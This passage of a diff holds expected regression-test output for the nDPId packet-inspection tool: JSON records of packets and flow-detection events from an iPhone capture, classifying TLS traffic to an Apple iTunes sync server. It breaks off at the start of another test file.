+00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"iphone.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1582454600508,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.24.53","src_port":50588,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":508065,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGAGXAqAIRX2UYNcWcAbsi3fgeAAAAALDC\/\/8YLgAAAgQFtAEDAwcBAQgKEd\/vhgAAAAAEAgAA"} +00438{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":541627,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADUGS2lfZRg1wKgCEQG7xZzFmLU\/It34H6BScSB2MAAAAgQFrAQCCAqI0z6tEd\/vhgEDAwc="} +00424{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":545275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAHHAqAIRX2UYNcWcAbsi3fgfxZi1QIAQBAsSJAAAAQEIChHf76yI0z6t"} +01124{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":545389,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAG\/mnAqAIRX2UYNcWcAbsi3fgfxZi1QIAYBAuKRgAAAQEIChHf76yI0z6tFgMBAgABAAH8AwOiR+2o6dU1g3+Svap+gZcnw25M6wGbHtuAePAdQo0oAiAx8\/DIlhLRtqLIiYUYtk4NlTJqyrl\/fgPygPHG4YkVbgA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABoAGAAAFXN5bmMuaXR1bmVzLmFwcGxlLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACBtkoBkQDrwLLXqjG5TumykfSzBBltHwjkMpbOHvdDHVQAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"iphone.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":4,"flow_first_seen":1582454600508,"flow_last_seen":1582454600545,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.24.53","src_port":50588,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.2","client_requested_server_name":"sync.itunes.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":579000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0r2YAADUGnApfZRg1wKgCEQG7xZzFmLVAIt36JIAQAOsTGQAAAQEICojTPtMR3++s"} +02379{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":580592,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUr2cAADUGlmdfZRg1wKgCEQG7xZzFmLVAIt36JIAQAOvvggAAAQEICojTPtMR3++sFgMDAHoCAAB2AwP8TH04ZCrBb\/gkfljnUmujowdNxER7kOqz1gAUSd1ARyAx8\/DIlhLRtqLIiYUYtk4NlTJqyrl\/fgPygPHG4YkVbhMCAAAuACsAAgMEADMAJAAdACBId\/Nnk2O5Sr4v6R4YPHo4E3mOFhXJdd0yp0DfW6I8TxQDAwABARcDAwAudMmXJPizSb+uU99qMbx5cAmpJSCLpPkIdtgbXgjKl2Es7W8sRKs7LwQENOumdxcDAxZZrS3p7EDxmR\/IXQjmqj4qIg62K04sA4wA8ndndzwoRJJ0ArSgjxsIw7SrLyfZo1bty+qCQYtU778MH9nCUJSxZLfaz4qJKmNOdx18ZEbSouWbYnumd26W36\/fu51gRJ9XS526VmaJUwQCfdv+7r6ZUSJ30RHugEU3fo3GLI5Yhe6sz2jCxaZylLfMjMgBcw6Ew7WqtZOmdo+m\/+V7FKX7YabQSZmpNz\/90iA87SUjBd+o0GPrlKSX+zgpaHBgvjZdqMSfGrDJgVtPEx8aL9b3ILaucW8tnzGY7\/hrsewgFXWKiKQ3YwWDMUX9gCE8GVAIiZSGpQmLJfUS6JLxMw6CyHNB6LZrGEY08Ljij\/qbKe0wdWpWXOJUJsVbpAw8SGs+ngDrozzw2MN1hX8nVhHctc+ZNwYfayeoMlbNyNz2crO70Ija9sijbkIQUM0xKwfwiexnPM5Ze4ksue4SfdSeCKlit4rerhP40Z2mh9xxZwHC8Yl6a\/LU0FBiMiG3X3ehFnXhnrJ4WqLsE5lQfb12V6AZlXSpDwCEHMVi6aZcHdmubp44fy3mTCBuKfI2DxJfXW7Ei6carC5Rn4PvDYucmJAVdinoQZi4BnShp5CkYd5sJuag1Y06B0y5pOiSM3EkRcI+jA1HqPICGHYgP9CqOqmnyaGJsIYwUMCCQlwq5vDvlgEETaqMtEGMpxQUVn7wH6RX8ysxaQ9gYqVrX5Z+fAvQvkyZZGwIoIqDF53PdClKh\/eBs+XtNdUU15aXQCE5wJbqhuXY36zI86AKLzkrTtkC+JkTtc0+b9YVvsLVTAk60yTnjC4yETkXglK5arNKJQQ8wO+yapKFYAy1z6RgktiiKO8HobCTmnrClWvRHGYqDk12Ih2RrtGQH18g\/B80eep9I\/EIOw4299xv6B0wvjiKDkvc3yUFkDfqs4IEW1j6w4f2h6I9mfV0woc6lmmWPACkfh3I1HvUftoBCC\/F4S+NWegAIYAHjhMhd5xS\/b3OWA0B7WYY\/AKwl0oGAIafXNFyIEEU3Tu5nS2FOjs+PZM6Ht+m4fUmSLxQM5SVWZo6Ga2Jm3GvuzbWiqWOiIPSAaFoPbq1PmeFX0qpIcjfiXjMCJZgoTnuD501kfO9FJPgV\/IATXU\/8dUpMk3cQwU7F6Um1gDSdO0UBTbEOXugn6kSlbhkSz9+JamsPAPBuzZYSeyQmZUZ24JlGUqZeqh60BUe4yvtzza49oGKt82zMxLWDI1jiMTrPt7cQ6tvF5ndLmftTJrIZjCbVHQ0bfpxz+Fz2Zd67mu8iPx1NfAZO5LJCXEYLbubq09dweHBNYTjHKm8TQzFs8wdtbhWa1yVdGS3h\/D9XcZvVmPlQ8MTJDdf\/Qe0HPLiG1miktNzT9Nyu3\/xsvWbLeaXVFkA7C9X67tzGDwARaO0\/\/MnABlnUjv3b9d17B0qWElkpNZAvOyzYw9iMrf21U9gYRZFEvFrA9PLZKhlV592v90TLSNkn5+eUdXprHVwBpJugztp2hkedjOPa8AgpPYJQZjkOJ7VFXp6ytPj6uc7wyl6N2NT3Xn06rL3X\/KuiYXW7QR4mTk1VA0KTdlbbr1IBR2zGy5jU134I9FqoaxSm5iu14lQGI8\/oyK3tOofGPmoPZ4GQghrNZ6UB+hh+t\/\/UnAY56vWxG\/p"} +00834{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":432,"source":"iphone.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":6,"flow_first_seen":1582454600508,"flow_last_seen":1582454600580,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.24.53","src_port":50588,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.3","client_requested_server_name":"sync.itunes.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02382{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":580604,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUr2gAADUGlmZfZRg1wKgCEQG7xZzFmLrgIt36JIAQAOvd6AAAAQEICojTPtMR3++szuNvCfcQ3E+hmHoM+ZjvVSuv9dUCHP7J3aqGCVlC1HDszwxyFUimKhi2dVLHN\/ASBFwzIfhwm1zB1aX2kZp3tcj1jvrRfpYyIPXlx5FBOZjT2vIXeRU1HEk\/YAPthw9ML6DdTUF4HizJFE\/MMNA\/9IAIn42LK4Kl0WLbJtvMDwzvbMJVQkuvcrcXWeJ7Yw5iCadxuum0uoGX+bejEF1ZW70jnFoFbbNn0wkq75wE94FQfdG7ms5TWwRVgV42DAOLxa1XEOZs19UDu6XE5B7iIciObNajWeDkiyDTcsHNAzoqcwxDhGOWX78u0gpU15IkR3JSoTObpxy9OOAUa5HIUDQxcni6rIAvL2HWmGO0o\/095LxReXjnuBRMDxX3tqaU6U\/AvAyDdVtysbOqwps+\/zrR1NxYblB632WXG6tI0Jb8AC6OODtGXnUBMqF4ywfuLHNT8Bc9TORh1bf\/zIeGIUlOBr8bModwBiwZfg6YUIesWlS9BbxPrqcn6JHWZUKeePt74gpDcYFf0WjMPswy2tg54+f4OJyioKC4m5aUEGNMesgcSCHEph5OGJWcX6qPQlk2nvc69V0dP2GmKBLWpU2u0g0cBKUf3zgOXlYba\/cCId+dPX0vZRvzvm3imxZ1N1hLbDKfifoGcdmrKe5wNYXE+avQU64AxmYXlGH1rZi2dkEk4tNWB2n8T4q90SKT7F1bc6qzSI\/LZAT11coQkdUW8Q8I5V2dIXZVjaWGTtSZikLU\/lrLuTpdedsjX7mVxoXHXq9FDY40Jj6IJqI5zGleo0YQ9RbhAtf+7+9oJPl6h59LTk7vrBWTpJAWNmRtoEm2U8Wg+xLXQuvI7IRgE70L5EDNPKuqnmLeoLTiCipyBNdaf3hF67L1jfJUX3g04HCVCfZ4idSNCoOCsUQDFFGQ+LxiGB1QW5dlN9wfJBV6kWaBDw2rox3PgxYk5F0hRY3IIqoqqXv8GJb+n+8lJw4lcEwV8MxkROomgk9irDbnylXWjjrXZw2WsfjgB6wR1GsUrSUmOX6yeeEvOOyQe3O6oM3sWD8XnX\/tCcw9DMYvf22Sa+sEwNfN9LCChdR7Tkni+AZD+qgTH\/nqguEqiCQSgSM4Xgcwe4x3ozbECrhGFvVlKdZp94Jjncwj8kml81k0KaHJEe9g4KINkNA26ft\/RAldqBMjUXY\/gqAO888PUip8tSxDjCvdR9mwmZFLxs19AxCRRqyq6EdaK0FrSKPziuHmcoUS0QOl7oVBNtYbweASveLzzdnib8siOZbFYT\/zVpt3Z91R63oZYsNHLOtpVHDqn\/2tOOmhJz0keUtBRsWolDGKl9hFKLBO03XviQj\/sx3ZOtVsHjxtkOd9hfgATBfecvXVlNo6bPr\/MIr4Z2s7l1KgmKKxV0R\/Vvnra\/ns\/pUh+KMD\/+NdB6epC14G4Nds+fpsr0CLobI8Fx91L9OAedbuXjWUP\/yWpJk5x15uDZa1y3x3ZUjnTxehGTQlX6L\/Xxy50nLdl6zQCojVP81ap6L1402\/MnBNxtFD9wJ9bv4ICprjup8H7gdQx4MjbxAGGBN1yZJDgcAVR7AoiqjZjVlXI3DMjfj9BMJFo289W8QPe1nXbmhRWss\/7d49TaAYoOAM+lVwPatN8NeehRn00GJjdsT6yo4kcSkpkqV1szCzpQCExFnBzkTksYyWLQvvT+yy1okEA3ppOV85tK1cxWVsMPJTc9grcLB+UoWEWL7PbmlGk9+bGxH8l+L5uIJ1nOWzo0eA9CDe6gaYLR89x\/Cy4j62ubjDsUlQxe6\/E4soHuSGrl8JfT\/oQ\/13JAYm5isWKXU62M75JeKsXhkybPPELeOOVcP43fXC9vpTn4hhEAo4E+6kX1V6mpot8OuK+kA9j79tQNwqcplwHGgOZiubNieZ\/dfOBikW"} +02074{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":580954,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAgT0r2kAADUGl0VfZRg1wKgCEQG7xZzFmMCAIt36JIAYAOuRnQAAAQEICojTPtMR3++ss02MmIAnh+RZ0NyPM0J6Hg\/9Z05andIjWZ9U6COvSgcZhLgKTF4ETrGGvMmsf34PYDBdblOEuKcaOQogDklxQg55tuBX+52ItILIft0lkVw0mkAcQwsPhhUz7VgEXN\/cmD+TYB+AEgkShyvLsp9fOSjwDN4EVn1WFTwAzp0qSOYE2VgBIHCn4fsVO8sfXTvZEfZsONoNPiE5DNn1luuV8eQa9iS4jyRbXEoQbzWkH8uUX3bi1wcnQnVOo3pls4V41hpFiNCV+f+b+8SgWcZGJlbnhZgaE4u5y8Scg2tUXOXm4hN4j53vmfl3U6nPmtXfeHej1i7rQaw\/y9khIxnJEnks8aKZNNRnG3CUvpBNCxm48uTv\/joxIlKmjjEw1TjpkN+n\/gBmOzmYD+Y2Hdf4g8Cd7qbRxFJkkxmVD7A2qZ\/vw64yBgG87MWo+rYoN9Q77ho\/eVbFES8nNaNHxBi7A4ZI8280iuiOCS9H1+6d79VI3O9FvLNDsH1C9hq99qgoWj8cHVIOnXXXbP+gbRmLfSmXeWBdwIU1erGMfhKPquha0df1AF\/IouAwgQibzRiq3yyDDO7J7ZU4iBbBVOihCzjJALSGDS0PYvYmAzxFGFJvMtgvwWNHUaYJ+2\/\/zMtYJWpOyZVateXSRcVOQm689vcLB52z\/F4WfZvXpJElWALaandmb0NXYgTApOMHkR+R3aXfLGiBCVW19yG1M3nWxWuVHyBPN8MkZ2aQiHF8estXztS7zV56b\/JryVPkseADzsVa3eKtk51IB3nOBC7t9pbuJdpbnVhzy8+QSWSKECqUhVNh\/kCQcfcd1ZyBWp51wLtfUH889eeNmiNTQihETlunQdWj3cLVjCmSkeI66kzX5CbanbbPYBrcjhch6MHZjoF8WI1Lihn0E5snlvGZy+gv+TtS4rEt6bPlc8DX\/yU6\/jALiW5p66hP361+gEhyOdHKbpcxjRsclGcmquoLNV1mMFq5N6Rljzmg35dFbMbSePjVuIXu7nDB2AcYrBZOEPBWAzWQP0E2BuL8RviC6b2iW5xDn8Oxb4V1bQfpuanwOCuO8CFaM6CKMT+gcm4mi24Y+ExdhEXYRUHgF0o6T8NIyT38W3T6JSv+8AjYh\/EICGCtdet86PUP+8ILPMO9M571oa0CK1DqxDYkLcPJuVb81SPyQhPPYphSXj2b7PWQ3LZflyaU3aLMtvAtPIT62J4Ry3tua8qd4AWLaofQ6h1cxkP9dDVZdz4NJYWX6YjF4xc7HO2eO5O2xHVBtA1sTHXsS5mT78+r1dvNoZDnGNQ84QqK2Ba6BsDpTAYX0GQ0Eoa+ntbWChrHNnKKpTM1PfBwptRb+KNh5ch\/YXB91ZlID3AETwQROYn7vg1VHn65snmKOcB0s9Vefe5mbdtTnmSwb3qwFqelpB4AegKiIvKwf8\/E3y5GuTj0aASu9TcatYfIc9gfxgusa3E\/rA9cI6ER2hSBDDnwWYswE6p4EzIqcEFyKpKEQrEa9+KNdE8t+9D1Z7VGFeuSf2xj9XeeDaP7x6+e+f3JQJEISmOgq6h1xKIkB+6iMmsmAxyhykQxWs+SjCFKx\/WTsRprHXUBVT3C11iqGpMzc4ZSBomHmQ=="} +02380{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":581730,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUr2oAADUGlmRfZRg1wKgCEQG7xZzFmMVAIt36JIAQAOvQhwAAAQEICojTPtYR3++srcLGnObwJWh1KtD5HhIBsggJqFWar6cSoSIwWqAUCmaXGHrihdiGEE8ZXENRE0znJCnkqAMmVRaq0pL6cruev7aHQVZGlu8dzZV\/vKN4Jz1AYs1YgI5A4AB4XLrNHDN8k+mOP\/+G1rxDd9tziZ0YQvQbqHJdMLXpTPo+q1fhD2vpI5Pm4Xftd+Cg7wRXMkPkKZUritmhuTOk5X6PYJZuxn57J2rbuNG6jpnITDJo79qBjfsBCf7pXoUcI\/wffxl4pPkjiYYf71HyG4cIg9WiWH1he83Pae1py4t7IIJgilUJQFX1jRK0np+GsQIMqZcGssLjQkUqW2cbBg7H0A8JHOvk\/hqvDpLjdX0LjyhVZ2IdDf0CHGW\/rcX06TH1BeEkdhFRYvc5Kj2lOMeY8waeWe8OtLkMbXjex5g5bB9Aikot7jZ5R3gZtaDtqM04\/2CUa9Z6xPwOWJ7AeFVgKFQrhA9bjIy26Hrto48+IMunzVyXVnFGSf\/5DfavR6WWkDmBsIYR9I4SNdosuggT9nONeG\/M97xpIiruF0uRcQtRkW4SE6SiuIXWFmjcAaN7QCivKiYfB6fh9nH7OoKJ1SoX+yZL3ii+I4vzIZn\/Btkd6CQDFdmmrwaeWHKhQqjCKzKm2BfjOFjc7AOam09OBJxztdhvQpAIwWqOYMjA8azCWJy6RU9kcAnHGvQxRSwzFnDzbIdqtYRU\/OeSEy5Ztd4KZrvL9noxmkt2wBYuz1blaCbTrGbw9WgOHVGzncvMZB3edtN2N0jPjdPrEx+wx6BkJiY9aIUXFgz0MqYfEq1d7Z6eQWA6mXZj2QYwM0i5q46qyJ80ZC2IHHQGAgeKTB1KJVI7z3TH5bBC5iF26KHUWheopOmVB956LvUkLq0aZCmES0bJfdXQGgqWmGgxEVOAvxw\/bwQUulXvhrS4+SAwUWR+DEqOZvfq+aPYGkxM0SdQVkzhJgefYVP9nrU8FPQd8ykxsrFhNU3lO5WvjK2zaTODgEjuPQbCo8Ud7whhr92bQt5wVq4nppGqVsNPGS0aTH5Ie3KCyfgE9sULHSOStDSgO3ozIkAu1vxYKGVxz35QBv7C3VdKGfdO23r4mh1DnU+fS9N3LQRz9qWSSrl6RGmYMqDEMuKogrkiIK39f5JefcLtdgWc8sMpftz0wCbf2i+tDi2cLg\/mCuVhwddeZj\/SPBa\/z4U++DVs3H5E1QghU5K\/LrZ6Clh82FCY0\/VUq293bkKfJz2ozKPjH6iz9vzkX2v7XjnL\/S2GplxNztI+s9N6Kyd78LQyBjD5cwnWXNZWoWHkro4OydglYIjzz6cqEx\/vpJ71q3wAlqL8ClfGKFG25kvQHr8LW8nDjnsGbbvjEakY8dRo7KHDbC0vTeJMzChpYPz9rH8xRr1FRvD85DfktMk3ySazOH5ThUd8rROoDYREah+MyYW8iT5nLKWisQ6bdKAPkoNJk8QWOC1GPGY2CUVIQhfGmsmMN21PsgDHh2u3k2t\/cPcq1dgY\/AfkXlNhg9ALTaZoFjUgTa9FQ0VQX+5DLucrsQ4uCuZBw2f3+FYkxj978rH4COsV\/d+pp4gwMV6rbFezXVaR\/\/3Lx7PEBCpBe1dehJpGI4CojENI0lAusubM1w\/iM+KdbdRj4e8LL+BpjtdndBGDa+LPYk74YR9ntiBhIN+Z9qsGgNRgMA5Ziau5wCW9tfpns4Td0myWARox4iVsK9i5\/0WapVO0K6\/4pjcNGtMFtJbSD4YrFRiYvOqgpjhuSf6ud0+xpQQuRe3N3z06z4+1HYWPTq+5cm\/QZQQVTqncwJ25\/Qeirr++X6j8DlTWD1ck1aLARV+DSdOu7ILHkALwnvPtyFuQ\/hvuu66\/NvAOF9q8RyIOJ9jVo6zsHHopgv1pC8AQfh3Tl+MKHX3Q8qUS9uoi"} +00426{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":582989,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAHHAqAIRX2UYNcWcAbsi3fokxZjAgIAQA\/QEqwAAAQEIChHf79GI0z7T"} +00427{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":583110,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAHHAqAIRX2UYNcWcAbsi3fokxZjFQIAQA\/b\/6AAAAQEIChHf79GI0z7T"} +01423{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":616462,"pkt_caplen":800,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":800,"pkt_l4_len":766,"pkt":"xGGLNYKpxiwDYGpkCABFAgMSr2sAADUGmSVfZRg1wKgCEQG7xZzFmMrgIt36JIAYAOt+4wAAAQEICojTPvgR3+\/RoYQEdDQqFTy06\/CHKMbkuhRrnufCr4CH4kaYDxilo\/k97ks2pVONsADGnAKMobY3s0HG0iTpgstOSGeLtvgfKjgqzD32yNjuJcqRS67t3q7Cwtgs7\/PujAtappyKmHujEpulfN11kN3tmPrqFlNMmW13GFKDcgUIEPrFb1Z+KRVorno9lzxB97RGn3xLOnLPtnUTYT2MmwY+lr50JV4Q9AlSVwnN+Y5KPS33wGXoUMUhiMEYhT7mXOoEp5drndxnHyoVgMjgWwkKtX66uBjliU2dLuGfkdbThjFvsq8enWIag2ZueMS3DrsSOcj6QtlsRJJkz2kEEH0oPHMXPTYzxOEV3lDJHpGYXiRYpmiJzEBlLWbu26N54lUT68rRwqmCIeOU\/IiumHFqO+uligkd35An1qjbClAaMnG40W\/2k8Dzw5hTYMUtHF5YRhUyFOy4mDmRLJorjX\/7lBWPX0a90r7QxzRQSRXkn2HE1SYwlK9s3DzMxIwXAwMBGe9zNI9aQUGwDgD6YK3mBJ0JWqv712JpXFNRYkGXxau8ikUIfHmGDdFGXwyQsJul8iLL\/YsC7Upv7V\/6UxivWV76\/eO87fIhU5TQHoMe2BjQyeXmL8KsVJpYF34TwafWiLphdBGWLo4NlXnMbbp0XFKEbhNWapalfmAFDs8R8hYEmKk4b\/Af0WPWhTQMT4vOIYeNbYGvcaXVgUSg\/FJLhLCvX87q6rkBpCEksVECRQVmsD3Epc3XWpkmZ+Wo73XXoAXBgN2D+qR4OZz1WhQBNafvKjM7cKHdyRkaxQBOJz+2fcYn\/JDj95lb5DuPETl9Sia\/SUZ3O3Dd6CxDqWqt++rQhhIKkORoFI3jimDu4CaqnzoBSIFWwBvtFwMDAEVhlMyjVKSl2Y6Yl+VAXQQHOPNCBxk6f5p3q\/Ee8PDtjGmFOl54W+9L3kFGr0DvIfPgZNfP8fpLtrh8jhJw0cHs+Jjm6k8="} +00427{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":617961,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAHHAqAIRX2UYNcWcAbsi3fokxZjNvoAQA\/r3QAAAAQEIChHf7\/SI0z7W"} +00538{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":639449,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xiwDYGpkxGGLNYKpCABFAgCEAABAAEAGAB\/AqAIRX2UYNcWcAbsi3fokxZjNvoAYBAD\/dQAAAQEIChHf8AmI0z7WFAMDAAEBFwMDAEVUOOj2tGvaINrHyVOhP0kBTB8LDlsPjRKAV8G0PLMBWW4ePVJCAbmXcCnjrI+JyeomJ1V4BzSnP+GW9fNRzui7ZvfHi3g="} +00491{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454600,"pkt_ts_usec":641576,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"xiwDYGpkxGGLNYKpCABFAgBiAABAAEAGAEHAqAIRX2UYNcWcAbsi3fp0xZjNvoAYBABgXgAAAQEIChHf8AuI0z7WFwMDAClRVTUdkgd1Ri8nQFNd98VjxkuZgkygicyhmvcNiVIlazT8aPL8dJi3aw=="} diff --git a/test/results/ipv6_in_gtp.pcap.out b/test/results/ipv6_in_gtp.pcap.out new file mode 100644 index 000000000..c2cbf3803 --- /dev/null +++ b/test/results/ipv6_in_gtp.pcap.out @@ -0,0 +1,4 @@ +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536839120,"pkt_ts_usec":404326,"pkt_caplen":150,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAAAAAACNLNUB8pWgQAMoYEAYAUIAEVoAIBoSQAA\/xHueQruUBoK7v5LCGgIaABsAAAw\/wBcEoCPuGAIuFIANBFAJgf8IEBSA55JCupNF\/7gnP0Al2q8Zxk+AAAAAAAAAAe\/4GQ6ADQ3SIBuFZfDWsIvMrWrNfP4Fx5OYe4CUCXgPs5ziPlz8hT\/27dLl2xtqJbPLkrE"} +00161{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet 